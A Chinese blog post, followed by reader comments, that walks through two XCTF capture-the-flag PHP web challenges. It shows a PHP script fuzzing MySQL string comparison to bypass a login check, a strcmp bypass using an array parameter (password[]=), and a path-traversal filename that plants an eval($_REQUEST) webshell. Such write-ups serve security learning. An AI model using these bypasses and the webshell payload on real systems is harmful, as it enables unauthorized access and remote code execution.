XCTF两道web题目的writeup

只会web正好又是php的审计题目,于是就把两道题都做了。大牛们都忙着破各种路由器,破各种设备去了,我也侥幸得了个第一:

QQ图片20141024184200.png

第一题,没怎么截图,查看代码如下:

QQ图片20141025151017.jpg

主要是考mysql的一个trick。就是查询出来的$row['id']和$id的区别。这么说可能有点不明白,我们用一下代码fuzz一下mysql:

<?php
mysql_connect("localhost","root","root");
mysql_select_db ("test");
mysql_query("set names utf8");
for($i = 0 ; $i < 256 ; $i++){
    $c = chr($i);
    $name = mysql_real_escape_string('hehe' . $c);
    $sql = "SELECT * FROM `name` WHERE `name` = '{$name}'";
    $row = mysql_fetch_array(mysql_query($sql));
    if ($row['name'] == 'hehe') {
        echo "{$c} <br/>";
    }
}

如果在name后面加上一个字符,在mysql里查询,如果查到的和不加这个字符查出来的行相同,则输出。

得到了如下结果:

001.jpg

我们随便挑一个跟在adog后面提交就能得到flag了。如下:

002.jpg

003.jpg

第二题,访问pwnme.php得到如下提示:

XCTF22.png

很快就明白了是要说明在php里=====的意义不同。我记得之前一个php的trick,我猜这里的代码是这样:strcmp($_POST[password], 'xxxx')==0。看一下php的strcmp文档就能知道:

XCTF142.png

所以传一个password[]=xxx即可得到如下页面:

XCTF175.png

访问可得到一段源码,yeah碰上我最爱的审计题了:

XCTF205.png

源码其实很简单,就是写入一个webshell,但文件名是跟当前秒数有关,所以大部分人想到要跑一下文件名。
当然,我这个人比较懒,能不能想个方法,不要跑这该死的文件名。

这道题没有过滤/和../,我可以直接做跳转,将时间作为目录名,再用../跳转到上个目录,这样我的文件就不带时间前缀了。
当然还要让php不出错,试了几次,数据包如下即可:

XCTF378.png

这样我的shell就为:http://106.120.92.162:5000/backup/".eval($_REQUEST[a]).php

XCTF453.png

不需要跑用户名。拿到shell了就读flag即可。

赞赏

喜欢这篇文章?打赏1元

评论

Ricters 回复

好文章,内容惟妙惟肖.禁止此消息:nolinkok@163.com

该昵称已屏蔽 回复

好文章,内容惟妙惟肖.禁止此消息:nolinkok@163.com

东吃 回复

看P牛博客涨姿势l

JoyChou 回复

围观菊苣

hang333 回复

如果没有mysql_query("set names utf8");的话就不能够了吗?

aaa 回复

唉,还是不明白为什么PHP可以这样写,灵活的同时(应该说过于灵活了)导致了太多安全问题了(应该说太容易导致安全问题了)

xd 回复

第一个mysql的trick有详细的paper分享么,找了一下没有发现专门分析这个的。虽然fuzz一下可以得到结果,还是想 从更深的维度了解一下。

xd 回复

能请教一下php里”===”和”==”的意义不同 。是因为都是这两个符号都是比较相关所以联想到strcmp 的么?。一开始一直在纠结===和==的 区别。。。

phithon 回复

@xd:比较字符串除了==/===就是strcmp

xd 回复

@phithon:thanks !!get it .所以才说find another dog......

Rai 回复

菊苣,第一个有版本限制吗,为啥我输出不了那些字符啊.

phithon 回复

@Rai:版本倒是没详细测试过,你可以自己fuzz一下

test 回复

@Rai 我测试了,和你一样的效果,没有数据。

晴天小铸 回复

关注博主好久了,很赞你这种分享与研究的精神;有什么可以和我Email一起讨论讨论

AppLeU0 回复

p神威武 第二题 我只是想到了用那个写一个文件fopen的方式来另外写 可惜也要访问到才能执行命令 你这样子就更加直接了 可惜不是win win下就简单了 短文件名也可以破 最后还没跑出来 404

Ricter 回复

爷爷就是屌

phithon 回复

@Ricter:Ricter大触能去现场就是幸福

captcha